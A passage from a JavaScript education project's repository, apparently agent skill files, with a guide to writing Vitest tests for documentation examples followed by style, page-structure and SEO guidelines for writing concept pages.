|------|----------| | Browser-only APIs | Use jsdom environment or skip with note | | Timing-dependent code | Use `vi.useFakeTimers()` or test the logic, not timing | | Side effects | Capture output or test mutations | | Intentional errors | Use `expect(() => {...}).toThrow()` | | Async code | Use `async/await` with proper assertions | --- ## Project Test Conventions ### Import Pattern ```javascript import { describe, it, expect } from 'vitest' ``` For DOM tests or tests needing mocks: ```javascript import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' ``` ### DOM Test File Header ```javascript /** * @vitest-environment jsdom */ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' ``` ### Describe Block Organization Match the structure of the documentation: ```javascript describe('Concept Name', () => { describe('Section from Documentation', () => { describe('Subsection if needed', () => { it('should [specific behavior]', () => { // Test }) }) }) }) ``` ### Test Naming Convention - Start with "should" - Be descriptive and specific - Match the documented behavior ```javascript // Good it('should return "object" for typeof null', () => {}) it('should throw TypeError when accessing property of undefined', () => {}) it('should resolve promises in order they were created', () => {}) // Bad it('test typeof', () => {}) it('works correctly', () => {}) it('null test', () => {}) ``` ### Source Line References Always reference the documentation source: ```javascript // ============================================================ // SECTION NAME FROM DOCUMENTATION // From {concept}.mdx lines XX-YY // ============================================================ describe('Section Name', () => { // From lines 45-52: Basic typeof examples it('should return correct type strings', () => { // Test }) }) ``` --- ## Test Patterns Reference ### Pattern 1: Basic Value Assertion **Documentation:** ```javascript console.log(typeof "hello") // "string" console.log(typeof 42) // "number" ``` **Test:** ```javascript // From lines XX-YY: typeof examples it('should return correct type for primitives', () => { expect(typeof "hello").toBe("string") expect(typeof 42).toBe("number") }) ``` --- ### Pattern 2: Multiple Related Assertions **Documentation:** ```javascript let a = "hello" let b = "hello" console.log(a === b) // true let obj1 = { x: 1 } let obj2 = { x: 1 } console.log(obj1 === obj2) // false ``` **Test:** ```javascript // From lines XX-YY: Primitive vs object comparison it('should compare primitives by value', () => { let a = "hello" let b = "hello" expect(a === b).toBe(true) }) it('should compare objects by reference', () => { let obj1 = { x: 1 } let obj2 = { x: 1 } expect(obj1 === obj2).toBe(false) }) ``` --- ### Pattern 3: Function Return Values **Documentation:** ```javascript function greet(name) { return "Hello, " + name + "!" } console.log(greet("Alice")) // "Hello, Alice!" ``` **Test:** ```javascript // From lines XX-YY: greet function example it('should return greeting with name', () => { function greet(name) { return "Hello, " + name + "!" } expect(greet("Alice")).toBe("Hello, Alice!") }) ``` --- ### Pattern 4: Error Testing **Documentation:** ```javascript // This throws an error! const obj = null console.log(obj.property) // TypeError: Cannot read property of null ``` **Test:** ```javascript // From lines XX-YY: Accessing property of null it('should throw TypeError when accessing property of null', () => { const obj = null expect(() => { obj.property }).toThrow(TypeError) }) ``` --- ### Pattern 5: Specific Error Messages **Documentation:** ```javascript function divide(a, b) { if (b === 0) throw new Error("Cannot divide by zero") return a / b } ``` **Test:** ```javascript // From lines XX-YY: divide function with error it('should throw error when dividing by zero', () => { function divide(a, b) { if (b === 0) throw new Error("Cannot divide by zero") return a / b } expect(() => divide(10, 0)).toThrow("Cannot divide by zero") expect(divide(10, 2)).toBe(5) }) ``` --- ### Pattern 6: Async/Await Testing **Documentation:** ```javascript async function fetchUser(id) { const response = await fetch(`/api/users/${id}`) return response.json() } ``` **Test:** ```javascript // From lines XX-YY: async fetchUser function it('should fetch user data asynchronously', async () => { // Mock fetch for testing global.fetch = vi.fn(() => Promise.resolve({ json: () => Promise.resolve({ id: 1, name: 'Alice' }) }) ) async function fetchUser(id) { const response = await fetch(`/api/users/${id}`) return response.json() } const user = await fetchUser(1) expect(user).toEqual({ id: 1, name: 'Alice' }) }) ``` --- ### Pattern 7: Promise Testing **Documentation:** ```javascript const promise = new Promise((resolve) => { resolve("done") }) promise.then(result => console.log(result)) // "done" ``` **Test:** ```javascript // From lines XX-YY: Basic Promise resolution it('should resolve with correct value', async () => { const promise = new Promise((resolve) => { resolve("done") }) await expect(promise).resolves.toBe("done") }) ``` --- ### Pattern 8: Promise Rejection **Documentation:** ```javascript const promise = new Promise((resolve, reject) => { reject(new Error("Something went wrong")) }) ``` **Test:** ```javascript // From lines XX-YY: Promise rejection it('should reject with error', async () => { const promise = new Promise((resolve, reject) => { reject(new Error("Something went wrong")) }) await expect(promise).rejects.toThrow("Something went wrong") }) ``` --- ### Pattern 9: Floating Point Comparison **Documentation:** ```javascript console.log(0.1 + 0.2) // 0.30000000000000004 console.log(0.1 + 0.2 === 0.3) // false ``` **Test:** ```javascript // From lines XX-YY: Floating point precision it('should demonstrate floating point imprecision', () => { expect(0.1 + 0.2).not.toBe(0.3) expect(0.1 + 0.2).toBeCloseTo(0.3) expect(0.1 + 0.2 === 0.3).toBe(false) }) ``` --- ### Pattern 10: Array Method Testing **Documentation:** ```javascript const numbers = [1, 2, 3, 4, 5] const doubled = numbers.map(n => n * 2) console.log(doubled) // [2, 4, 6, 8, 10] ``` **Test:** ```javascript // From lines XX-YY: Array map example it('should double all numbers in array', () => { const numbers = [1, 2, 3, 4, 5] const doubled = numbers.map(n => n * 2) expect(doubled).toEqual([2, 4, 6, 8, 10]) expect(numbers).toEqual([1, 2, 3, 4, 5]) // Original unchanged }) ``` --- ### Pattern 11: Object Mutation Testing **Documentation:** ```javascript const obj = { a: 1 } obj.b = 2 console.log(obj) // { a: 1, b: 2 } ``` **Test:** ```javascript // From lines XX-YY: Object mutation it('should allow adding properties to objects', () => { const obj = { a: 1 } obj.b = 2 expect(obj).toEqual({ a: 1, b: 2 }) }) ``` --- ### Pattern 12: Closure Testing **Documentation:** ```javascript function counter() { let count = 0 return function() { count++ return count } } const increment = counter() console.log(increment()) // 1 console.log(increment()) // 2 console.log(increment()) // 3 ``` **Test:** ```javascript // From lines XX-YY: Closure counter example it('should maintain state across calls via closure', () => { function counter() { let count = 0 return function() { count++ return count } } const increment = counter() expect(increment()).toBe(1) expect(increment()).toBe(2) expect(increment()).toBe(3) }) it('should create independent counters', () => { function counter() { let count = 0 return function() { count++ return count } } const counter1 = counter() const counter2 = counter() expect(counter1()).toBe(1) expect(counter1()).toBe(2) expect(counter2()).toBe(1) // Independent }) ``` --- ### Pattern 13: DOM Event Testing **Documentation:** ```javascript const button = document.getElementById('myButton') button.addEventListener('click', function(event) { console.log('Button clicked!') console.log(event.type) // "click" }) ``` **Test (in .dom.test.js file):** ```javascript /** * @vitest-environment jsdom */ import { describe, it, expect, beforeEach, afterEach } from 'vitest' describe('DOM Event Handlers', () => { let button beforeEach(() => { button = document.createElement('button') button.id = 'myButton' document.body.appendChild(button) }) afterEach(() => { document.body.innerHTML = '' }) // From lines XX-YY: Button click event it('should fire click event handler', () => { const output = [] button.addEventListener('click', function(event) { output.push('Button clicked!') output.push(event.type) }) button.click() expect(output).toEqual(['Button clicked!', 'click']) }) }) ``` --- ### Pattern 14: DOM Manipulation Testing **Documentation:** ```javascript const div = document.createElement('div') div.textContent = 'Hello' div.classList.add('greeting') document.body.appendChild(div) ``` **Test:** ```javascript // From lines XX-YY: Creating and appending elements it('should create element with text and class', () => { const div = document.createElement('div') div.textContent = 'Hello' div.classList.add('greeting') document.body.appendChild(div) const element = document.querySelector('.greeting') expect(element).not.toBeNull() expect(element.textContent).toBe('Hello') expect(element.classList.contains('greeting')).toBe(true) }) ``` --- ### Pattern 15: Timer Testing **Documentation:** ```javascript console.log('First') setTimeout(() => console.log('Second'), 0) console.log('Third') // Output: First, Third, Second ``` **Test:** ```javascript // From lines XX-YY: setTimeout execution order it('should execute setTimeout callback after synchronous code', async () => { const output = [] output.push('First') setTimeout(() => output.push('Second'), 0) output.push('Third') // Wait for setTimeout to execute await new Promise(resolve => setTimeout(resolve, 10)) expect(output).toEqual(['First', 'Third', 'Second']) }) ``` --- ### Pattern 16: Strict Mode Behavior **Documentation:** ```javascript // In strict mode, this throws "use strict" x = 10 // ReferenceError: x is not defined ``` **Test:** ```javascript // From lines XX-YY: Strict mode variable declaration it('should throw ReferenceError in strict mode for undeclared variables', () => { // Vitest runs in strict mode by default expect(() => { // Using eval to test strict mode behavior "use strict" eval('undeclaredVar = 10') }).toThrow() }) ``` --- ## Complete Test File Template ```javascript import { describe, it, expect } from 'vitest' describe('[Concept Name]', () => { // ============================================================ // [FIRST SECTION NAME FROM DOCUMENTATION] // From [concept].mdx lines XX-YY // ============================================================ describe('[First Section]', () => { // From lines XX-YY: [Brief description of example] it('should [expected behavior]', () => { // Code from documentation expect(result).toBe(expected) }) // From lines XX-YY: [Brief description of next example] it('should [another expected behavior]', () => { // Code from documentation expect(result).toEqual(expected) }) }) // ============================================================ // [SECOND SECTION NAME FROM DOCUMENTATION] // From [concept].mdx lines XX-YY // ============================================================ describe('[Second Section]', () => { // From lines XX-YY: [Description] it('should [behavior]', () => { // Test }) }) // ============================================================ // EDGE CASES AND COMMON MISTAKES // From [concept].mdx lines XX-YY // ============================================================ describe('Edge Cases', () => { // From lines XX-YY: [Edge case description] it('should handle [edge case]', () => { // Test }) }) describe('Common Mistakes', () => { // From lines XX-YY: Wrong way example it('should demonstrate the incorrect behavior', () => { // Test showing why the "wrong" way fails }) // From lines XX-YY: Correct way example it('should demonstrate the correct behavior', () => { // Test showing the right approach }) }) }) ``` --- ## Complete DOM Test File Template ```javascript /** * @vitest-environment jsdom */ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' // ============================================================ // DOM EXAMPLES FROM [CONCEPT NAME] // From [concept].mdx lines XX-YY // ============================================================ describe('[Concept Name] - DOM', () => { // Shared setup let container beforeEach(() => { // Create a fresh container for each test container = document.createElement('div') container.id = 'test-container' document.body.appendChild(container) }) afterEach(() => { // Clean up after each test document.body.innerHTML = '' vi.restoreAllMocks() }) // ============================================================ // [SECTION NAME] // From lines XX-YY // ============================================================ describe('[Section Name]', () => { // From lines XX-YY: [Example description] it('should [expected DOM behavior]', () => { // Setup const element = document.createElement('div') container.appendChild(element) // Action element.textContent = 'Hello' // Assert expect(element.textContent).toBe('Hello') }) }) // ============================================================ // EVENT HANDLING // From lines XX-YY // ============================================================ describe('Event Handling', () => { // From lines XX-YY: Click event example it('should handle click events', () => { const button = document.createElement('button') container.appendChild(button) let clicked = false button.addEventListener('click', () => { clicked = true }) button.click() expect(clicked).toBe(true) }) }) }) ``` --- ## Running Tests ```bash # Run all tests npm test # Run tests for specific concept npm test -- tests/fundamentals/primitive-types/ # Run tests for specific file npm test -- tests/fundamentals/primitive-types/primitive-types.test.js # Run DOM tests only npm test -- tests/fundamentals/primitive-types/primitive-types.dom.test.js # Run with watch mode npm run test:watch # Run with coverage npm run test:coverage # Run with verbose output npm test -- --reporter=verbose ``` --- ## Quality Checklist ### Completeness - [ ] All testable code examples have corresponding tests - [ ] Tests organized by documentation sections - [ ] Source line references included in comments (From lines XX-YY) - [ ] DOM tests in separate `.dom.test.js` file - [ ] Edge cases and error examples tested ### Correctness - [ ] Tests verify the actual documented behavior - [ ] Output comments in docs match test expectations - [ ] Async tests properly use async/await - [ ] Error tests use correct `toThrow` pattern - [ ] Floating point comparisons use `toBeCloseTo` - [ ] Object comparisons use `toEqual` (not `toBe`) ### Convention - [ ] Uses explicit imports from vitest - [ ] Follows describe/it nesting pattern - [ ] Test names start with "should" - [ ] Proper file naming (`{concept}.test.js`) - [ ] DOM tests have jsdom environment directive ### Verification - [ ] All tests pass: `npm test -- tests/{category}/{concept}/` - [ ] No skipped tests without documented reason - [ ] No false positives (tests that pass for wrong reasons) --- ## Test Report Template Use this template to document test coverage for a concept page. ```markdown # Test Coverage Report: [Concept Name] **Concept Page:** `/docs/concepts/[slug].mdx` **Test File:** `/tests/{category}/{concept}/{concept}.test.js` **DOM Test File:** `/tests/{category}/{concept}/{concept}.dom.test.js` (if applicable) **Date:** YYYY-MM-DD **Author:** [Name/Claude] ## Summary | Metric | Count | |--------|-------| | Total Code Examples in Doc | XX | | Testable Examples | XX | | Tests Written | XX | | DOM Tests Written | XX | | Skipped (with reason) | XX | ## Tests by Section | Section | Line Range | Examples | Tests | Status | |---------|------------|----------|-------|--------| | [Section 1] | XX-YY | X | X | ✅ | | [Section 2] | XX-YY | X | X | ✅ | | [Section 3] | XX-YY | X | X | ⚠️ (1 skipped) | ## Skipped Examples | Line | Example Description | Reason | |------|---------------------|--------| | XX | ASCII diagram of call stack | Conceptual, not executable | | YY | Browser fetch example | Requires network, mocked instead | ## Test Execution ```bash npm test -- tests/{category}/{concept}/ ``` **Result:** ✅ XX passing | ❌ X failing | ⏭️ X skipped ## Notes [Any special considerations, mock requirements, or issues encountered] ``` --- ## Common Issues and Solutions ### Issue: Test passes but shouldn't **Problem:** Test expectations don't match documentation output **Solution:** Double-check the expected value matches the `console.log` comment exactly ```javascript // Documentation says: console.log(result) // [1, 2, 3] // Make sure test uses: expect(result).toEqual([1, 2, 3]) // NOT toBe for arrays ``` ### Issue: Async test times out **Problem:** Async test never resolves **Solution:** Ensure all promises are awaited and async function is marked ```javascript // Bad it('should fetch data', () => { const data = fetchData() // Missing await! expect(data).toBeDefined() }) // Good it('should fetch data', async () => { const data = await fetchData() expect(data).toBeDefined() }) ``` ### Issue: DOM test fails with "document is not defined" **Problem:** Missing jsdom environment **Solution:** Add environment directive at top of file ```javascript /** * @vitest-environment jsdom */ ``` ### Issue: Test isolation problems **Problem:** Tests affect each other **Solution:** Use beforeEach/afterEach for cleanup ```javascript afterEach(() => { document.body.innerHTML = '' vi.restoreAllMocks() }) ``` --- ## Summary When writing tests for a concept page: 1. **Extract all code examples** from the documentation 2. **Categorize** as testable, DOM, error, or conceptual 3. **Create test file** in correct location with proper naming 4. **Convert each example** to test using appropriate pattern 5. **Reference source lines** in comments for traceability 6. **Run tests** to verify all pass 7. **Document coverage** using the report template **Remember:** Tests serve two purposes: 1. Verify documentation is accurate 2. Catch regressions if code examples are updated Every testable code example in the documentation should have a corresponding test. If an example can't be tested, document why. ================================================ FILE: .opencode/skill/write-concept/SKILL.md ================================================ --- name: write-concept description: Write or review JavaScript concept documentation pages for the 33 JavaScript Concepts project, following strict structure and quality guidelines --- # Skill: Write JavaScript Concept Documentation Use this skill when writing or improving concept documentation pages for the 33 JavaScript Concepts project. ## When to Use - Creating a new concept page in `/docs/concepts/` - Rewriting or significantly improving an existing concept page - Reviewing an existing concept page for quality and completeness - Adding explanatory content to a concept ## Target Audience Remember: **the reader might be someone who has never coded before or is just learning JavaScript**. Write with empathy for beginners while still providing depth for intermediate developers. Make complex topics feel approachable and never assume prior knowledge without linking to prerequisites. ## Writing Guidelines ### Voice and Tone - **Conversational but authoritative**: Write like you're explaining to a smart friend - **Encouraging**: Make complex topics feel approachable - **Practical**: Focus on real-world applications and use cases - **Concise**: Respect the reader's time; avoid unnecessary verbosity - **Question-driven**: Open sections with questions the reader might have ### Avoiding AI-Generated Language Your writing must sound human, not AI-generated. Here are specific patterns to avoid: #### Words and Phrases to Avoid | ❌ Avoid | ✓ Use Instead | |----------|---------------| | "Master [concept]" | "Learn [concept]" | | "dramatically easier/better" | "much easier" or "cleaner" | | "one fundamental thing" | "one simple thing" | | "one of the most important concepts" | "This is a big one" | | "essential points" | "key things to remember" | | "understanding X deeply improves" | "knowing X well makes Y easier" | | "To truly understand" | "Let's look at" or "Here's how" | | "This is crucial" | "This trips people up" | | "It's worth noting that" | Just state the thing directly | | "It's important to remember" | "Don't forget:" or "Remember:" | | "In order to" | "To" | | "Due to the fact that" | "Because" | | "At the end of the day" | Remove entirely | | "When it comes to" | Remove or rephrase | | "In this section, we will" | Just start explaining | | "As mentioned earlier" | Remove or link to the section | #### Repetitive Emphasis Patterns Don't use the same lead-in pattern repeatedly. Vary your emphasis: | Instead of repeating... | Vary with... | |------------------------|--------------| | "Key insight:" | "Don't forget:", "The pattern:", "Here's the thing:" | | "Best practice:" | "Pro tip:", "Quick check:", "A good habit:" | | "Important:" | "Watch out:", "Heads up:", "Note:" | | "Remember:" | "Keep in mind:", "The rule:", "Think of it this way:" | #### Em Dash (—) Overuse AI-generated text overuses em dashes. Limit their use and prefer periods, commas, or colons: | ❌ Em Dash Overuse | ✓ Better Alternative | |-------------------|---------------------| | "async/await — syntactic sugar that..." | "async/await. It's syntactic sugar that..." | | "understand Promises — async/await is built..." | "understand Promises. async/await is built..." | | "doesn't throw an error — you just get..." | "doesn't throw an error. You just get..." | | "outside of async functions — but only in..." | "outside of async functions, but only in..." | | "Fails fast — if any Promise rejects..." | "Fails fast. If any Promise rejects..." | | "achieve the same thing — the choice..." | "achieve the same thing. The choice..." | **When em dashes ARE acceptable:** - In Key Takeaways section (consistent formatting for the numbered list) - In MDN card titles (e.g., "async function — MDN") - In interview answer step-by-step explanations (structured formatting) - Sparingly when a true parenthetical aside reads naturally **Rule of thumb:** If you have more than 10-15 em dashes in a 1500-word document outside of structured sections, you're overusing them. After writing, search for "—" and evaluate each one. #### Superlatives and Filler Words Avoid vague superlatives that add no information: | ❌ Avoid | ✓ Use Instead | |----------|---------------| | "dramatically" | "much" or remove entirely | | "fundamentally" | "simply" or be specific about what's fundamental | | "incredibly" | remove or be specific | | "extremely" | remove or be specific | | "absolutely" | remove | | "basically" | remove (if you need it, you're not explaining clearly) | | "essentially" | remove or just explain directly | | "very" | remove or use a stronger word | | "really" | remove | | "actually" | remove (unless correcting a misconception) | | "In fact" | remove (just state the fact) | | "Interestingly" | remove (let the reader decide if it's interesting) | #### Stiff/Formal Phrases Replace formal academic-style phrases with conversational alternatives: | ❌ Stiff | ✓ Conversational | |---------|------------------| | "It should be noted that" | "Note that" or just state it | | "One might wonder" | "You might wonder" | | "This enables developers to" | "This lets you" | | "The aforementioned" | "this" or name it again | | "Subsequently" | "Then" or "Next" | | "Utilize" | "Use" | | "Commence" | "Start" | | "Prior to" | "Before" | | "In the event that" | "If" | | "A considerable amount of" | "A lot of" or "Many" | #### Playful Touches (Use Sparingly) Add occasional human touches to make the content feel less robotic, but don't overdo it: ```javascript // ✓ Good: One playful comment per section // Callback hell - nested so deep you need a flashlight // ✓ Good: Conversational aside // forEach and async don't play well together — it just fires and forgets: // ✓ Good: Relatable frustration // Finally, error handling that doesn't make you want to flip a table. // ❌ Bad: Trying too hard // Callback hell - it's like a Russian nesting doll had a baby with a spaghetti monster! 🍝 // ❌ Bad: Forced humor // Let's dive into the AMAZING world of Promises! 🎉🚀 ``` **Guidelines:** - One or two playful touches per major section is enough - Humor should arise naturally from the content - Avoid emojis in body text (they're fine in comments occasionally) - Don't explain your jokes - If a playful line doesn't work, just be direct instead ### Page Structure (Follow This Exactly) Every concept page MUST follow this structure in this exact order: ```mdx --- title: "Concept Name: [Hook] in JavaScript" sidebarTitle: "Concept Name: [Hook]" description: "SEO-friendly description in 150-160 characters starting with action word" --- [Opening hook - Start with engaging questions that make the reader curious] [Example: "How does JavaScript get data from a server? How do you load user profiles, submit forms, or fetch the latest posts from an API?"] [Immediately show a simple code example demonstrating the concept] ```javascript // This is how you [do the thing] in JavaScript const example = doSomething() console.log(example) // Expected output ``` [Brief explanation connecting to what they'll learn, with **[inline MDN links](https://developer.mozilla.org/...)** for key terms] <Info> **What you'll learn in this guide:** - Key learning outcome 1 - Key learning outcome 2 - Key learning outcome 3 - Key learning outcome 4 (aim for 5-7 items) </Info> <Warning> [Optional: Prerequisites or important notices - place AFTER Info box] **Prerequisite:** This guide assumes you understand [Related Concept](/concepts/related-concept). If you're not comfortable with that yet, read that guide first! </Warning> --- ## [First Major Section - e.g., "What is X?"] [Core explanation with inline MDN links for any new terms/APIs introduced] [Optional: CardGroup with MDN reference links for this section] --- ## [Analogy Section - e.g., "The Restaurant Analogy"] [Relatable real-world analogy that makes the concept click] [ASCII art diagram visualizing the concept] ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ DIAGRAM TITLE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ [Visual representation of the concept] │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ## [Core Concepts Section] [Deep dive with code examples, tables, and Mintlify components] <Steps> <Step title="Step 1"> Explanation of the first step </Step> <Step title="Step 2"> Explanation of the second step </Step> </Steps> <AccordionGroup> <Accordion title="Subtopic 1"> Detailed explanation with code examples </Accordion> <Accordion title="Subtopic 2"> Detailed explanation with code examples </Accordion> </AccordionGroup> <Tip> **Quick Rule of Thumb:** [Memorable summary or mnemonic] </Tip> --- ## [The API/Implementation Section] [How to actually use the concept in code] ### Basic Usage ```javascript // Basic example with step-by-step comments // Step 1: Do this const step1 = something() // Step 2: Then this const step2 = somethingElse(step1) // Step 3: Finally console.log(step2) // Expected output ``` ### [Advanced Pattern] ```javascript // More complex real-world example ``` --- ## [Common Mistakes Section - e.g., "The #1 Fetch Mistake"] [Highlight the most common mistake developers make] ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ VISUAL COMPARISON │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ WRONG WAY RIGHT WAY │ │ ───────── ───────── │ │ • Problem 1 • Solution 1 │ │ • Problem 2 • Solution 2 │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ```javascript // ❌ WRONG - Explanation of why this is wrong const bad = wrongApproach() // ✓ CORRECT - Explanation of the right way const good = correctApproach() ``` <Warning> **The Trap:** [Clear explanation of what goes wrong and why] </Warning> --- ## [Advanced Patterns Section] [Real-world patterns and best practices] ### Pattern Name ```javascript // Reusable pattern with practical application async function realWorldExample() { // Implementation } // Usage const result = await realWorldExample() ``` --- ## Key Takeaways <Info> **The key things to remember:** 1. **First key point** — Brief explanation 2. **Second key point** — Brief explanation 3. **Third key point** — Brief explanation 4. **Fourth key point** — Brief explanation 5. **Fifth key point** — Brief explanation [Aim for 8-10 key takeaways that summarize everything] </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: [Specific question about the concept]"> **Answer:** [Clear explanation] ```javascript // Code example demonstrating the answer ``` </Accordion> <Accordion title="Question 2: [Another question]"> **Answer:** [Clear explanation with code if needed] </Accordion> [Aim for 5-6 questions covering the main topics] </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Related Concept 1" icon="icon-name" href="/concepts/slug"> How it connects to this concept </Card> <Card title="Related Concept 2" icon="icon-name" href="/concepts/slug"> How it connects to this concept </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Main Topic — MDN" icon="book" href="https://developer.mozilla.org/..."> Official MDN documentation for the main concept </Card> <Card title="Related API — MDN" icon="book" href="https://developer.mozilla.org/..."> Additional MDN reference </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Article Title" icon="newspaper" href="https://..."> Brief description of what the reader will learn from this article. </Card> [Aim for 4-6 high-quality articles] </CardGroup> ## Videos <CardGroup cols={2}> <Card title="Video Title" icon="video" href="https://..."> Brief description of what the video covers. </Card> [Aim for 3-4 quality videos] </CardGroup> ``` --- ## SEO Guidelines SEO (Search Engine Optimization) is **critical** for this project. Each concept page should rank for the various ways developers search for that concept. Our goal is to appear in search results for queries like: - "what is [concept] in JavaScript" - "how does [concept] work in JavaScript" - "[concept] JavaScript explained" - "[concept] JavaScript tutorial" - "JavaScript [concept] example" Every writing decision — from title to structure to word choice — should consider search intent. --- ### Target Keywords for Each Concept Each concept page targets a **keyword cluster** — the family of related search queries. Before writing, identify these for your concept: | Keyword Type | Pattern | Example (DOM) | |--------------|---------|---------------| | **Primary** | [concept] + JavaScript | "DOM JavaScript", "JavaScript DOM" | | **What is** | what is [concept] in JavaScript | "what is the DOM in JavaScript" | | **How does** | how does [concept] work | "how does the DOM work in JavaScript" | | **How to** | how to [action] with [concept] | "how to manipulate the DOM" | | **Tutorial** | [concept] tutorial/guide/explained | "DOM tutorial JavaScript" | | **Comparison** | [concept] vs [related] | "DOM vs virtual DOM" | **More Keyword Cluster Examples:** <AccordionGroup> <Accordion title="Closures Keyword Cluster"> | Type | Keywords | |------|----------| | Primary | "JavaScript closures", "closures in JavaScript" | | What is | "what is a closure in JavaScript", "what are closures" | | How does | "how do closures work in JavaScript", "how closures work" | | Why use | "why use closures JavaScript", "closure use cases" | | Example | "JavaScript closure example", "closure examples" | | Interview | "closure interview questions JavaScript" | </Accordion> <Accordion title="Promises Keyword Cluster"> | Type | Keywords | |------|----------| | Primary | "JavaScript Promises", "Promises in JavaScript" | | What is | "what is a Promise in JavaScript", "what are Promises" | | How does | "how do Promises work", "how Promises work JavaScript" | | How to | "how to use Promises", "how to chain Promises" | | Comparison | "Promises vs callbacks", "Promises vs async await" | | Error | "Promise error handling", "Promise catch" | </Accordion> <Accordion title="Event Loop Keyword Cluster"> | Type | Keywords | |------|----------| | Primary | "JavaScript event loop", "event loop JavaScript" | | What is | "what is the event loop in JavaScript" | | How does | "how does the event loop work", "how event loop works" | | Visual | "event loop explained", "event loop visualization" | | Related | "call stack and event loop", "task queue JavaScript" | </Accordion> <Accordion title="Call Stack Keyword Cluster"> | Type | Keywords | |------|----------| | Primary | "JavaScript call stack", "call stack JavaScript" | | What is | "what is the call stack in JavaScript" | | How does | "how does the call stack work" | | Error | "call stack overflow JavaScript", "maximum call stack size exceeded" | | Visual | "call stack explained", "call stack visualization" | </Accordion> </AccordionGroup> --- ### Title Tag Optimization The frontmatter has **two title fields**: - `title` — The page's `<title>` tag (SEO, appears in search results) - `sidebarTitle` — The sidebar navigation text (cleaner, no "JavaScript" since we're on a JS site) **The Two-Title Pattern:** ```mdx --- title: "Closures: How Functions Remember Their Scope in JavaScript" sidebarTitle: "Closures: How Functions Remember Their Scope" --- ``` - **`title`** ends with "in JavaScript" for SEO keyword placement - **`sidebarTitle`** omits "JavaScript" for cleaner navigation **Rules:** 1. **50-60 characters** ideal length for `title` (Google truncates longer titles) 2. **Concept name first** — lead with the topic, "JavaScript" comes at the end 3. **Add a hook** — what will the reader understand or be able to do? 4. **Be specific** — generic titles don't rank **Title Formulas That Work:** ``` title: "[Concept]: [What You'll Understand] in JavaScript" sidebarTitle: "[Concept]: [What You'll Understand]" title: "[Concept]: [Benefit or Outcome] in JavaScript" sidebarTitle: "[Concept]: [Benefit or Outcome]" ``` **Title Examples:** | ❌ Bad | ✓ title (SEO) | ✓ sidebarTitle (Navigation) | |--------|---------------|----------------------------| | `"Closures"` | `"Closures: How Functions Remember Their Scope in JavaScript"` | `"Closures: How Functions Remember Their Scope"` | | `"DOM"` | `"DOM: How Browsers Represent Web Pages in JavaScript"` | `"DOM: How Browsers Represent Web Pages"` | | `"Promises"` | `"Promises: Handling Async Operations in JavaScript"` | `"Promises: Handling Async Operations"` | | `"Call Stack"` | `"Call Stack: How Function Execution Works in JavaScript"` | `"Call Stack: How Function Execution Works"` | | `"Event Loop"` | `"Event Loop: How Async Code Actually Runs in JavaScript"` | `"Event Loop: How Async Code Actually Runs"` | | `"Scope"` | `"Scope and Closures: Variable Visibility in JavaScript"` | `"Scope and Closures: Variable Visibility"` | | `"this"` | `"this: How Context Binding Works in JavaScript"` | `"this: How Context Binding Works"` | | `"Prototype"` | `"Prototype Chain: Understanding Inheritance in JavaScript"` | `"Prototype Chain: Understanding Inheritance"` | **Character Count Check:** Before finalizing, verify your `title` length: - Under 50 chars: Consider adding more descriptive context - 50-60 chars: Perfect length - Over 60 chars: Will be truncated in search results — shorten it --- ### Meta Description Optimization The `description` field becomes the meta description — **the snippet users see in search results**. A compelling description increases click-through rate. **Rules:** 1. **150-160 characters** maximum (Google truncates longer descriptions) 2. **Include primary keyword** in the first half 3. **Include secondary keywords** naturally if space allows 4. **Start with an action word** — "Learn", "Understand", "Discover" (avoid "Master" — sounds AI-generated) 5. **Promise specific value** — what will they learn? 6. **End with a hook** — give them a reason to click **Description Formula:** ``` [Action word] [what the concept is] in JavaScript. [Specific things they'll learn]: [topic 1], [topic 2], and [topic 3]. ``` **Description Examples:** | Concept | ❌ Too Short (Low CTR) | ✓ SEO-Optimized (150-160 chars) | |---------|----------------------|--------------------------------| | DOM | `"Understanding the DOM"` | `"Learn how the DOM works in JavaScript. Understand how browsers represent HTML as a tree, select and manipulate elements, traverse nodes, and optimize rendering."` | | Closures | `"Functions that remember"` | `"Learn JavaScript closures and how functions remember their scope. Covers lexical scoping, practical use cases, memory considerations, and common closure patterns."` | | Promises | `"Async JavaScript"` | `"Understand JavaScript Promises for handling asynchronous operations. Learn to create, chain, and combine Promises, handle errors properly, and write cleaner async code."` | | Event Loop | `"How async works"` | `"Discover how the JavaScript event loop manages async code execution. Understand the call stack, task queue, microtasks, and why JavaScript is single-threaded but non-blocking."` | | Call Stack | `"Function execution"` | `"Learn how the JavaScript call stack tracks function execution. Understand stack frames, execution context, stack overflow errors, and how recursion affects the stack."` | | this | `"Understanding this"` | `"Learn the 'this' keyword in JavaScript and how context binding works. Covers the four binding rules, arrow function behavior, and how to use call, apply, and bind."` | **Character Count Check:** - Under 120 chars: You're leaving value on the table — add more specifics - 150-160 chars: Optimal length - Over 160 chars: Will be truncated — edit ruthlessly --- ### Keyword Placement Strategy Keywords must appear in strategic locations — but **always naturally**. Keyword stuffing hurts rankings. **Priority Placement Locations:** | Priority | Location | How to Include | |----------|----------|----------------| | 🔴 Critical | Title | Primary keyword in first half | | 🔴 Critical | Meta description | Primary keyword + 1-2 secondary | | 🔴 Critical | First paragraph | Natural mention within first 100 words | | 🟠 High | H2 headings | Question-format headings with keywords | | 🟠 High | "What you'll learn" box | Topic-related phrases | | 🟡 Medium | H3 subheadings | Related keywords and concepts | | 🟡 Medium | Key Takeaways | Reinforce main keywords naturally | | 🟢 Good | Alt text | If using images, include keywords | **Example: Keyword Placement for DOM Page** ```mdx --- title: "DOM: How Browsers Represent Web Pages in JavaScript" ← 🔴 Primary: "in JavaScript" at end sidebarTitle: "DOM: How Browsers Represent Web Pages" ← Sidebar: no "JavaScript" description: "Learn how the DOM works in JavaScript. Understand ← 🔴 Primary: "DOM works in JavaScript" how browsers represent HTML as a tree, select and manipulate ← 🔴 Secondary: "manipulate elements" elements, 